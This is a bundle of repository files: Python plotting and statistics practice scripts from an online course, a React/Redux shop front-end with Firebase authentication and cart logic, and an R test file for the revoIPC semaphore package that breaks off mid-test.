plt.ylabel('Y-Axis') # Display the label for X-Axis plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.legend(['Blue','Green'], loc = 6) # Display the legend for plot type, 6 is for Middle Left plt.show() # Display the plot # Labelling axes and Adding Legends - Position : Middle Bottom axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.legend(['Blue','Green'], loc = 8) # Display the legend for plot type, 8 is for Middle Bottom plt.show() # Display the plot # Labelling axes and Adding Legends - Position : Top Middle axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.legend(['Blue','Green'], loc = 9) # Display the legend for plot type, 9 is for Top Middle plt.show() # Display the plot # Labelling axes and Adding Legends - Position : Middle Middle axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.legend(['Blue','Green'], loc = 10) # Display the legend for plot types 10 is for Middle Middle plt.show() # Display the plot # XKCD Style - Try Again plt.xkcd() # Function to put matplotlib in XKCD mode fig = plt.figure() # Function to plot the figure ax = fig.add_subplot(1, 1, 1) # Adding the subplot to the figure ax.spines['right'].set_color('none') # Setting the position and color ax.spines['top'].set_color('none') # Setting the position and color plt.xticks([]) # Setting the parameters for ticks on the x axis plt.yticks([]) # Setting the parameters for ticks on the x axis ax.set_ylim([-30, 10]) # Setting the limit for y axis # Creating the data to be displayed data = np.ones(100) # Creating the data to be displayed data[70:] -= np.arange(30) # Creating the data to be displayed # Preparing the text to be displayed/annotated # plt.annotate('This is my\n first\n XKCD Plot', xy(70, 1), arrowprops=dict(arrowstyle='->'), xytext=(-15,10)) plt.plot(data) # Plotting the graph with the data plt.xlabel('Time') # Display the label for X-Axis plt.xlabel('My Practice') # Display the label for Y-Axis # Pie Chart- Set 1 plt.rcdefaults() # Return to default as we had set the plotting to XKCD mode in the previous example values = [12, 55, 4, 32, 14] # Setting the percentage values to be shown on the pie chart colors = ['r', 'g', 'b', 'c', 'm'] # Setting the color values to be shown on the pie chart explode = [0, 0, 0.2, 0, 0] # Setting the percentage value to explode and come out labels = ['India', 'United States', 'Russia', 'China', 'Europe'] # Setting the label values to be shown on the pie chart plt.pie(values, colors = colors, labels = labels, explode = explode) # Creating the pie chart plt.title('Pie Chart') # Setting the pie chart title to be shown on the pie chart plt.show() # Display the plot # Pie Chart- Set 2 plt.rcdefaults() # Return to default as we had set the plotting to XKCD mode in the previous example values = [12, 55, 4, 32, 14] # Setting the percentage values to be shown on the pie chart colors = ['r', 'g', 'b', 'c', 'm'] # Setting the color values to be shown on the pie chart explode = [0.5, 0, 0.2, 0, 0] # Setting the percentage value to explode and come out labels = ['India', 'United States', 'Russia', 'China', 'Europe'] # Setting the label values to be shown on the pie chart plt.pie(values, colors = colors, labels = labels, explode = explode) # Creating the pie chart plt.title('Pie Chart') # Setting the pie chart title to be shown on the pie chart plt.show() # Display the plot # Bar Chart - Set 1 values = [12, 55, 4, 32, 14] # Setting the values to be shown on the bar chart colors = ['r', 'g', 'b', 'c', 'm'] # Setting the color values to be shown on the bar chart plt.bar(range(0, 5), values, color = colors) # Creating the bar chart plt.show() # Display the plot # Bar Chart - Set 2 values = [12, 55, 4, 32, 14] # Setting the values to be shown on the bar chart colors = ['r', 'g', 'b', 'c', 'm'] # Setting the color values to be shown on the bar chart plt.bar(range(0, 5), values, color = colors) # Creating the bar chart plt.title('Bar Chart') # Setting the bar chart title to be shown on the bar chart plt.show() # Display the plot # Scatter Plot - Set 1 X = np.random.randn(500) # Generate random distribution of numbers to be plotted Y = np.random.randn(500) # Generate random distribution of numbers to be plotted plt.scatter(X,Y) # Creating the scatter plot plt.show() # Display the plot # Scatter Plot - Set 2 X = np.random.randn(750) # Generate random distribution of numbers to be plotted Y = np.random.randn(750) # Generate random distribution of numbers to be plotted plt.scatter(X,Y) # Creating the scatter plot plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.title('Scatter Plot') # Setting the scatter plot title to be shown on the scatter plot plt.show() # Display the plot # Histogram - Set 1 incomes = np.random.normal(27000, 15000, 10000) # Generate random numbers with normal distribution; mu = 27000, sigma = 15000 plt.hist(incomes, 50) # Segments the data into 50 buckets plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.title('Histogram') # Setting the histogram title to be shown on the histogram plt.show() # Display the histogram # Histogram - Set 2 incomes = np.random.normal(57000, 25000, 50000) # Generate random numbers with normal distribution; mu = 27000, sigma = 15000 plt.hist(incomes, 50) # Segments the data into 50 buckets plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.title('Histogram') # Setting the histogram title to be shown on the histogram plt.show() # Display the histogram # Box and Whisker Plot # Box and Whisker Plot - Used for visualizing the spread and skewness of the data # Box represents the interquartile range and contains half of the data # Middle line represents the Median of the data and the box represents the bounds of the first and third quartile # Dotted line (Whiskers) indicate the range of the data except for the outliers which are plotted outside the whiskers # Outliers are 1.5 times more than the interquartile range # Box and Whisker Plot - Set 1 uniformSkewed = np.random.rand(100) * 100 - 40 # Generate random numbers for box plot high_outliers = np.random.rand(10) * 50 + 100 # Generate random number outliers for box plot low_outliers = np.random.rand(10) * 50 - 100 # Generate random number outliers for box plot data = np.concatenate((uniformSkewed, high_outliers, low_outliers)) # Prepare the data to be plotted plt.boxplot(data) # Creating the box plot plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.title('Box and Whisker') # Setting the Box and Whisker title title to be shown on the plot plt.show() # Display the histogram # Box and Whisker Plot - Set 2 uniformSkewed = np.random.rand(200) * 100 - 40 # Generate random numbers for box plot high_outliers = np.random.rand(20) * 50 + 100 # Generate random number outliers for box plot low_outliers = np.random.rand(20) * 50 - 100 # Generate random number outliers for box plot data = np.concatenate((uniformSkewed, high_outliers, low_outliers)) # Prepare the data to be plotted plt.boxplot(data) # Creating the box plot plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.title('Box and Whisker') # Setting the Box and Whisker title title to be shown on the plot plt.show() # Display the histogram ## End of Practice ##<file_sep>/6. UC - Practice - Python Percentiles.py # -*- coding: utf-8 -*- """ Udemy Course - Percentiles : 30-Aug-2019 """ # Percentile - The point in a dataset, at which X% of the values are less than that value. Example : Income Distribution # Percentiles in a Normal Distribution - Q1, Q2, Q3, Q4 # Percentiles in a Normal Distribution - IQR(Inter Quartile Range) is Q3 - Q1 # Percentiles in a Normal Distribution - IQR holds 50% of the data. 25% on the left of Median and 25% on the right of Median # Percentiles in a Normal Distribution - Total Range : Q1 - 1.5 * IQR to Q3 + 1.5 * IQR # Percentiles Examples # Import required libraries import numpy as np # Makes calculation of Mean, Median, Mode, Standard Deviation, Variance import matplotlib.pyplot as plt # Makes graphs for visualisation # Generate random numbers with normal distribution - Set 1 vals = np.random.normal(0, 0.5, 10000) # Generate random numbers with normal distribution; mu = 0, sigma = 0.5 # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(vals, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Calculate Percentile Values using numpy functions # 50th Percentile np.percentile(vals, 50) # Gives value at 50th percentile which is the Median # Compute the median np.median(vals) # Display the median of random values # 90th Percentile np.percentile(vals, 90) # Gives value at 90th percentile # 20th Percentile np.percentile(vals, 20) # Gives value at 20th percentile # 75th Percentile np.percentile(vals, 75) # Gives value at 75th percentile which is the Q3 # 25th Percentile np.percentile(vals, 25) # Gives value at 25th percentile which is the Q1 # Generate random numbers with normal distribution - Set 2 vals = np.random.normal(5, 10, 10000) # Generate random numbers with normal distribution; mu = 5, sigma = 10 # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(vals, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Calculate Percentile Values using numpy functions # 50th Percentile np.percentile(vals, 50) # Gives value at 50th percentile which is the Median # Compute the median np.median(vals) # Display the median of random values # 90th Percentile np.percentile(vals, 90) # Gives value at 90th percentile # 20th Percentile np.percentile(vals, 20) # Gives value at 20th percentile # 75th Percentile np.percentile(vals, 50) # Gives value at 75th percentile which is the Q3 # 25th Percentile np.percentile(vals, 25) # Gives value at 25th percentile which is the Q1 # Generate random numbers with normal distribution - Set 3 vals = np.random.normal(-5, 10, 10000) # Generate random numbers with normal distribution; mu = -5, sigma = 10 # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(vals, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Calculate Percentile Values using numpy functions # 50th Percentile np.percentile(vals, 50) # Gives value at 50th percentile which is the Median # Compute the median np.median(vals) # Display the median of random values # 90th Percentile np.percentile(vals, 90) # Gives value at 90th percentile # 20th Percentile np.percentile(vals, 20) # Gives value at 20th percentile # 75th Percentile np.percentile(vals, 50) # Gives value at 75th percentile which is the Q3 # 25th Percentile np.percentile(vals, 25) # Gives value at 25th percentile which is the Q1 # Generate random numbers with normal distribution - Set 4 vals = np.random.normal(-50, 10, 100) # Generate random numbers with normal distribution; mu = -50, sigma = 10 # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(vals, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Calculate Percentile Values using numpy functions # 50th Percentile np.percentile(vals, 50) # Gives value at 50th percentile which is the Median # Compute the median np.median(vals) # Display the median of random values # 90th Percentile np.percentile(vals, 90) # Gives value at 90th percentile # 20th Percentile np.percentile(vals, 20) # Gives value at 20th percentile # 75th Percentile np.percentile(vals, 50) # Gives value at 75th percentile which is the Q3 # 25th Percentile np.percentile(vals, 25) # Gives value at 25th percentile which is the Q1 ## End of Practice ##<file_sep>/3. UC - Practice - Python Basic Stats.py # -*- coding: utf-8 -*- """ Udemy Course - Python Basic Stats : 27-May-2019 """ # Types of Data : Numerical, Categorical, Ordinal # Numerical : Discrete, Continuous # Categorical : Yes/No, Male/Female # Ordinal : Mix of Numerical and Categorical Data # Mean, Median, and Mode # Mean : Average value, Sum of values / Number of samples # Median : Sort the values and take the value at midpoint. If there are even number of values, take the average of two values in the middle # Median : Less susceptible to outliers than the mean # Mode : Most common value in a dataset with discrete values # Mean vs. Median # Create sample income data, centered around 27,000 with a normal distribution and standard deviation of 15,000, with 10,000 data points # Compute the mean (average) - it should be close to 27,000 # Import required libraries import numpy as np # Makes calculation of Mean, Median and Mode easy import matplotlib.pyplot as plt # Makes graphs for visualisation from scipy import stats # Used for stats mode function # Generate random income numbers # import numpy as np # Makes calculation of Mean, Median and Mode easy incomes = np.random.normal(27000, 15000, 10000) # Generate random income numbers len(incomes) # Display count of random income numbers np.mean(incomes) # Display mean of random income numbers # Segment the income data into 50 buckets, and plot it as a histogram # import matplotlib.pyplot as plt # Makes graphs for visualisation - Used in beginning of code plt.hist(incomes, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Compute the median np.median(incomes) # Display the median of random income numbers # Since we have a normal distribution, Mean and Median and pretty close and near to each other # Now, we add an outlier incomes = np.append(incomes, [1000000000]) # Adding outlier to bring skewness in the data np.median(incomes) # Display the median of random income numbers with skewness np.mean(incomes) # Display mean of random income numbers with skewness # Adding an outlier changes the Mean drastically, where as Median remains almost the same # Thus, when there are outliers in the data or the data is skewed, Median should be used # Mode # Generate sample age data for 500 people ages = np.random.randint(18, high=90, size=500) # Generate random age data ages # Display random age data # from scipy import stats # Used for stats mode function - Used in the beginning of code stats.mode(ages) # Display the mode for sample age data # Exercise: Mean & Median Customer Spend custspend = np.random.normal(100.0, 20.0, 10000) # Generate random customer spend numbers len(custspend) # Display count of random customer spend numbers np.mean(custspend) # Display mean of random customer spend numbers # Segment the customer spend data into 50 buckets, and plot it as a histogram # import matplotlib.pyplot as plt # Makes graphs for visualisation - Used in beginning of code plt.hist(custspend, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Compute the median np.median(custspend) # Display the median of random customer spend numbers # Since we have a normal distribution, Mean and Median and pretty close and near to each other # Now, we add an outlier custspend = np.append(custspend, [100000]) # Adding outlier to bring skewness in the data np.median(custspend) # Display the median of random customer spend numbers with skewness np.mean(custspend) # Display mean of random customer spend numbers with skewness # Adding an outlier changes the Mean drastically, where as Median remains almost the same # Thus, when there are outliers in the data or the data is skewed, Median should be used ## End of Practice ##
ee961d9e4aadb935bb302e0889b22bceb0877362
[ "Python" ]
10
Python
prakashabhinav/Data-Science
59992c0fcc11b51e7d5e27e8fca0fb0f597e74af
59c24a7798e5306b174eefb1c961ba102091330d
refs/heads/master
<repo_name>AndreyDrapatiy/react-redux-shop<file_sep>/src/store/actions/auth/auth.js import axios from "../../../axios"; import * as actionTypes from '../actionTypes'; import {cart_check_state} from '../index' export const auth_start = () => { return { type: actionTypes.AUTH_START, } }; export const auth_success = (token, userId) => { return { type: actionTypes.AUTH_SUCCESS, idToken: token, userId: userId } }; export const auth_fail = (error) => { return { type: actionTypes.AUTH_FAIL, error: error } }; export const logout = () => { localStorage.removeItem('token'); localStorage.removeItem('userId'); return { type: actionTypes.AUTH_LOGOUT } } export const check_auth_timeout = (expirationTime) => { return dispatch => { setTimeout(() => { dispatch(logout()) }, expirationTime * 1000) } } export const auth = (email, password, method) => { return dispatch => { dispatch(auth_start()); const authData = { email: email, password: <PASSWORD>, returnSecureToken: true } let signInUrl = 'https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<KEY>' let signUpUrl = 'https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=<KEY>' axios.post(method ? signInUrl : signUpUrl, authData) .then(response => { localStorage.setItem('token', response.data.idToken); localStorage.setItem('userId', response.data.localId); dispatch(auth_success(response.data.idToken, response.data.localId)) dispatch(check_auth_timeout(response.data.expiresIn)) dispatch(cart_check_state()) }) .catch(err => { dispatch(auth_fail(err.response.data.error.message)) }) } }; export const auth_check_state = () => { return dispatch => { const token = localStorage.getItem('token'); if (!token) { dispatch(logout()); } else { const userId = localStorage.getItem('userId'); dispatch(auth_success(token, userId)); } }; };<file_sep>/src/store/actions/actionTypes.js export const LOAD_ITEMS = 'LOAD_ITEMS'; export const LOAD_SINGLE = 'LOAD_SINGLE'; export const UPDATE_CART = 'UPDATE_CART'; export const UPDATE_CART_IDS = 'UPDATE_CART_IDS'; export const GET_CART_ITEMS = 'GET_CART_ITEMS'; export const IS_LOADED = 'IS_LOADED'; export const FAIL_LOAD = 'FAIL_LOAD'; export const AUTH_START = 'AUTH_START' export const AUTH_SUCCESS = 'AUTH_SUCCESS' export const AUTH_FAIL = 'AUTH_FAIL' export const AUTH_LOGOUT = 'AUTH_LOGOUT' <file_sep>/src/containers/Modal/ToCartModal.js import React, {useState} from 'react'; import {makeStyles} from '@material-ui/core/styles'; import Modal from '@material-ui/core/Modal'; import ShoppingCartIcon from "@material-ui/icons/ShoppingCart"; import Button from "@material-ui/core/Button"; import CardMedia from "@material-ui/core/CardMedia"; import AddIcon from '@material-ui/icons/AddCircleRounded'; import RemoveIcon from '@material-ui/icons/Remove'; import IconButton from "@material-ui/core/IconButton"; import Typography from "@material-ui/core/Typography"; import Grid from '@material-ui/core/Grid'; import * as actions from "../../store/actions/"; import {connect} from "react-redux"; function rand() { return Math.round(Math.random() * 20) - 10; } function getModalStyle() { const top = 50 + rand(); const left = 50 + rand(); return { top: `${top}%`, left: `${left}%`, transform: `translate(-${top}%, -${left}%)`, }; } const useStyles = makeStyles((theme) => ({ paper: { position: 'absolute', width: 400, backgroundColor: theme.palette.background.paper, border: '2px solid #000', boxShadow: theme.shadows[5], padding: theme.spacing(2, 4, 3), }, media: { height: 0, paddingTop: '56.25%', // 16:9 }, })); const ToCartModal = (props) => { const classes = useStyles(); const [modalStyle] = useState(getModalStyle); const [open, setOpen] = useState(false); const [quantity, setQuantity] = useState(1); const inc = () => { setQuantity(quantity + 1) }; const dec = () => { if (quantity !== 1) { setQuantity(quantity - 1) } else return null }; const computedData = () => { let data = [quantity, props.item.id] return data; }; const handleOpen = () => { setOpen(true); }; const handleClose = () => { setOpen(false); }; const addBtnHandler = () => { props.addToCart(props.userToken, props.userId, props.userCart, computedData()); handleClose(); }; const body = ( <div style={modalStyle} className={classes.paper}> <Grid container spacing={3}> <Grid item xs={12}> <Typography variant="h5" color="textPrimary" component="h3"> {props.item.title} </Typography> </Grid> <Grid item xs={12}> <CardMedia className={classes.media} image={props.item.img} /> </Grid> <Grid item xs={12}> <Typography variant="h5" color="textPrimary" component="h3"> $ {props.item.price * quantity} (x{quantity}) </Typography> </Grid> <Grid container direction="row" justify="space-between" alignItems="center"> <Grid item container xs={4} direction="row" justify="flex-start"> <IconButton aria-label="add to favorites" onClick={dec}><RemoveIcon/></IconButton> <IconButton aria-label="add to favorites" onClick={inc}><AddIcon/></IconButton> </Grid> <Grid item container xs={4} direction="row" justify="flex-end"> <Button size="large" color="secondary" onClick={() => addBtnHandler()}>add <ShoppingCartIcon/></Button> </Grid> </Grid> </Grid> </div> ); return ( <div> <Button size="medium" color="secondary" onClick={handleOpen}>Add To Cart</Button> <Modal open={open} onClose={handleClose} aria-labelledby="simple-modal-title" aria-describedby="simple-modal-description" > {body} </Modal> </div> ); }; const mapStateToProps = state => { return { userId: state.user.userId, userToken: state.user.token, userCart: state.cart } } const mapDispatchToProps = dispatch => { return { addToCart: (token, userId, cart, currentItem) => dispatch(actions.add_to_cart(token, userId, cart, currentItem)) } }; export default connect(mapStateToProps, mapDispatchToProps)(ToCartModal)<file_sep>/src/containers/Auth/Auth.js import React, { useState } from 'react'; import TextField from '@material-ui/core/TextField'; import { Redirect } from 'react-router-dom' import Button from '@material-ui/core/Button'; import Grid from "@material-ui/core/Grid"; import { connect } from 'react-redux'; import * as actions from "../../store/actions/"; import Typography from "@material-ui/core/Typography"; const Auth = (props) => { const [formValid, setFormValid] = useState({ isValidEmail: false, isValidPass: false }); const [isSignIn, setIsSignIn] = useState(true) const [email, setEmail] = useState('') const [password, setPassword] = useState('') const emailHandler = (event) => { setEmail(event.target.value); } const passwordHandler = (event) => { setPassword(event.target.value); } const submitHandler = (event) => { event.preventDefault(); props.onAuth(email, password, isSignIn) } const switchAuthMode = () => { setIsSignIn(!isSignIn) } return ( <form onSubmit={submitHandler}> <Grid container direction="column" justify="center" alignItems="center" spacing={4}> <Grid container justify="flex-start" item xs={4}> <Typography variant="h5" color="textPrimary" component="h3"> {isSignIn ? 'Sign In' : 'Sign Up'} </Typography> </Grid> <Grid container item xs={4}> <TextField fullWidth id="email" onChange={emailHandler} label="Email"/> </Grid> <Grid container item xs={4}> <TextField fullWidth id="password" type="<PASSWORD>" onChange={passwordHandler} label="Password"/> </Grid> <Grid container justify="flex-start" item xs={4}> <Typography color="textSecondary" component="p"> {props.authError} </Typography> </Grid> <Grid container justify="space-between" item xs={4}> <Button variant="outlined" color="primary" onClick={switchAuthMode}>Switch to {isSignIn ? 'sign up' : 'sign in'}</Button> <Button variant="contained" type="submit" disabled={false} color="primary"> Submit </Button> </Grid> {props.isAuthSuccess !== null && !props.isLoading ? <Redirect to='/' /> : null} </Grid> </form> ); } const mapStateToProps = state => { return { authError: state.user.error, isAuthSuccess: state.user.userId, isLoading: state.user.loading } } const mapDispatchToProps = dispatch => { return { onAuth: (email, password, isSignIn) => dispatch(actions.auth(email, password, isSignIn)), } } export default connect(mapStateToProps, mapDispatchToProps)(Auth);<file_sep>/src/App.js import React, {useEffect} from 'react'; import * as ROUTES from './router/routes'; import Bar from './components/Bar/Bar' import ItemsList from "./containers/ItemsList/ItemsList"; import Auth from "./containers/Auth/Auth"; import { connect, useDispatch } from 'react-redux' import * as actions from "../src/store/actions/"; import {BrowserRouter as Router, Switch, Route} from "react-router-dom"; import Container from '@material-ui/core/Container'; import {makeStyles} from "@material-ui/core/styles"; import Cart from "./containers/Cart/Cart"; const useStyles = makeStyles({ root: { marginTop: '120px', }, }); function App() { const classes = useStyles(); const dispatch = useDispatch(); useEffect(() => { dispatch(actions.auth_check_state()); dispatch(actions.cart_check_state()); }, []) return ( <Router> <Bar/> <Container maxWidth={'lg'} className={classes.root}> <Route exact path={ROUTES.HOME} component={ItemsList}/> <Switch> <Route path={ROUTES.AUTH} component={Auth}/> {/*<Route path={ROUTES.SINGLE} component={SingleItem}/>*/} <Route path={ROUTES.CART} component={Cart}/> </Switch> </Container> </Router> ); } export default connect(null, null)(App); <file_sep>/src/store/actions/product/product.js import * as actionTypes from '../actionTypes'; import axios from "../../../axios"; export const is_loaded = (res) => { return { type: actionTypes.IS_LOADED, result: res } }; export const fail_load = (res) => { return { type: actionTypes.FAIL_LOAD, result: res } }; export const save_loaded_items = (res) => { return { type: actionTypes.LOAD_ITEMS, result: res, } }; export const load_items = () => { return dispatch => { axios.get('/data.json') .then(response => { dispatch(save_loaded_items(response.data)); dispatch(is_loaded(true)) }) .catch(err => console.log(err)); dispatch(fail_load(true)) } };<file_sep>/src/store/reducers/reducer.js import * as actionTypes from '../actions/actionTypes'; const initialState = { items: null, single: null, isLoaded: false, failLoad: false, cart: [], cartIds:[], user: { token: null, userId: null, error: null, loading: false } }; const reducer = (state = initialState, action) => { switch (action.type) { case actionTypes.AUTH_START: { return { ...state, user: {...{ error: null, loading: true}} } } case actionTypes.AUTH_SUCCESS: { return { ...state, user: {...{token: action.idToken, userId: action.userId, error: null, loading: false}} } } case actionTypes.AUTH_FAIL: { return { ...state, user: {...{error: action.error, loading: false, userId: null} } } } case actionTypes.AUTH_LOGOUT: { return { ...state, user: {...{token: null, userId: null}}, cart: [], cartIds: [] } } case actionTypes.LOAD_ITEMS: { return { ...state, items: action.result }; } case actionTypes.IS_LOADED: { return { ...state, isLoaded: action.result } } case actionTypes.FAIL_LOAD: { return { ...state, failedLoad: action.result } } case actionTypes.UPDATE_CART: { return { ...state, cart: action.result } } case actionTypes.UPDATE_CART_IDS: { return { ...state, cartIds: action.result } } case actionTypes.GET_CART_ITEMS: { return { cartItems: state.cart } } default: break; } return state; }; export default reducer;<file_sep>/src/router/routes.js export const HOME = '/'; export const AUTH = '/auth'; export const CART = '/cart'; export const SINGLE = '/single/:id'; <file_sep>/src/store/actions/index.js export {load_items, is_loaded, fail_load, save_loaded_items} from './product/product' export {get_cart_items, update_cart, add_to_cart, cart_check_state} from './cart/cart' export {auth, logout, auth_check_state} from './auth/auth'; <file_sep>/src/containers/ItemsList/ItemsList.js import React, {Component} from 'react' import CircularProgress from '@material-ui/core/CircularProgress'; import Item from '../../components/Item/Item' import {connect} from 'react-redux' import * as actions from "../../store/actions/"; import Grid from '@material-ui/core/Grid'; class ItemsList extends Component { componentWillMount() { this.props.loadItems(); } render() { return ( <Grid container spacing={3} direction="row" justify="flex-start" alignItems="center" > { this.props.isLoaded ? this.props.loadedItems.map((item, index) => <Grid key={item.id} item xs={4}> <Item title={item.title} date={item.date} available={item.available} price={item.price} key={index} id={item.id} description={item.description} img={item.img} /></Grid>) : <CircularProgress/> } </Grid> ); } } const mapStateToProps = state => { return { loadedItems: state.items, isLoaded: state.isLoaded, } }; const mapDispatchToProps = dispatch => { return { loadItems: () => dispatch(actions.load_items()), } }; export default connect(mapStateToProps, mapDispatchToProps)(ItemsList)
15cfd730b89d9b721f1d41a4e12f4f3c9e5b1796
[ "JavaScript" ]
10
JavaScript
AndreyDrapatiy/react-redux-shop
60c00169f2f0fd53113e84af0e248e84d7c1f422
c451e1cc5fe3ccc1d1820e75fd857c894c2b5397
refs/heads/master
<repo_name>cran/revoIPC<file_sep>/test/testrunner.R library(RUnit) res <- runTestFile('test.R') printTextProtocol(res) e <- getErrors(res) if (e$nErr + e$nFail > 0) { quit('no', 1) } else { quit('no', 0) } <file_sep>/test/test.R library(RUnit) library(revoIPC) library(nws) force.create.sem <- function(name, count) { sem <- tryCatch(ipcSemaphoreCreate(name, count), error=function(e) NULL) if (is.null(sem)) { sem <- ipcSemaphoreOpen(name) ipcSemaphoreDestroy(sem) sem <- ipcSemaphoreCreate(name, count) } sem } force.create.mutex <- function(name, rec) { mut <- tryCatch(ipcMutexCreate(name, rec), error=function(e) NULL) if (is.null(mut)) { mut <- ipcMutexOpen(name, rec) ipcMutexDestroy(mut) mut <- ipcMutexCreate(name, rec) } mut } force.create.mq <- function(name, maxmsg, maxsize) { mq <- tryCatch(ipcMsgQueueCreate(name, maxmsg, maxsize), error=function(e) NULL) if (is.null(mq)) { mq <- ipcMsgQueueOpen(name) ipcMsgQueueDestroy(mq) mq <- ipcMsgQueueCreate(name, maxmsg, maxsize) } mq } ##################################################### ## Semaphores ##################################################### test.sem.allnonblock <- function() { master <- force.create.sem('test_semaphore', 3) checkTrue(! is.null(master)) worker <- ipcSemaphoreOpen('test_semaphore') checkTrue(ipcSemaphoreWait(worker)) checkTrue(ipcSemaphoreWaitTry(worker)) checkTrue(ipcSemaphoreWait(worker)) checkTrue(! ipcSemaphoreWaitTry(worker)) checkTrue(ipcSemaphorePost(master)) checkTrue(ipcSemaphoreWaitTry(worker)) checkTrue(! ipcSemaphoreWaitTry(worker)) checkTrue(ipcSemaphorePost(master)) checkTrue(ipcSemaphorePost(master)) checkTrue(ipcSemaphoreWaitTry(worker)) checkTrue(ipcSemaphoreWaitTry(worker)) checkTrue(! ipcSemaphoreWaitTry(worker)) checkTrue(! ipcSemaphoreWaitTry(master)) checkTrue(ipcSemaphorePost(worker)) checkTrue(ipcSemaphorePost(worker)) checkTrue(ipcSemaphorePost(worker)) checkTrue(ipcSemaphoreWaitTry(master)) checkTrue(ipcSemaphoreWaitTry(master)) checkTrue(ipcSemaphoreWaitTry(master)) checkTrue(! ipcSemaphoreWaitTry(master)) ipcSemaphoreRelease(worker) ipcSemaphoreDestroy(master) } test.sem.stale <- function() { sem <- force.create.sem('test_semaphore', 3) options(show.error.messages=FALSE) checkException(ipcSemaphoreCreate('test_semaphore', 3)) checkException(ipcSemaphoreCreate('test_semaphore', 0)) options(show.error.messages=TRUE) ipcSemaphoreDestroy(sem) options(show.error.messages=FALSE) ipcSemaphoreRelease(sem) # Not currently an error, but shouldn't crash ipcSemaphoreDestroy(sem) # Not currently an error, but shouldn't crash checkException(ipcSemaphorePost(sem)) checkException(ipcSemaphoreWait(sem)) checkException(ipcSemaphoreWaitTry(sem)) checkException(ipcSemaphoreOpen('test_semaphore')) options(show.error.messages=TRUE) } helper.sem.allblock <- function() { library(revoIPC) # publishEvent <- function(ev) { nwsStore(SleighUserNws, 'events', ev) # publishEvent('begin') sem0 <- ipcSemaphoreOpen('test_semaphore0') sem1 <- ipcSemaphoreOpen('test_semaphore1') # publishEvent('semaphores') ipcSemaphoreWait(sem0) # publishEvent('gotsem0') ipcSemaphorePost(sem1) # publishEvent('postsem1') ipcSemaphoreRelease(sem0) ipcSemaphoreRelease(sem1) # publishEvent('end') } test.sem.allblock <- function() { sem0 <- force.create.sem('test_semaphore0', 0) sem1 <- force.create.sem('test_semaphore1', 0) # Use sleigh to start 3 workers running "helper" s <- sleigh() wsHandle <- userNws(s) sp <- eachWorker(s, helper.sem.allblock, eo=list(closure=FALSE, blocking=FALSE)) # printEvents <- function() { # while (TRUE) { # val <- nwsFetchTry(wsHandle, 'events') # if (is.null(val)) break # else cat('Event: ', val, '\n') # } # } # Initially, we cannot wait on sem1 checkTrue(! ipcSemaphoreWaitTry(sem0)) checkTrue(! ipcSemaphoreWaitTry(sem1)) # printEvents() # Wake one worker and wait for response ipcSemaphorePost(sem0) ipcSemaphoreWait(sem1) checkTrue(! ipcSemaphoreWaitTry(sem0)) checkTrue(! ipcSemaphoreWaitTry(sem1)) # printEvents() # Wake second worker and wait for response ipcSemaphorePost(sem0) ipcSemaphoreWait(sem1) checkTrue(! ipcSemaphoreWaitTry(sem0)) checkTrue(! 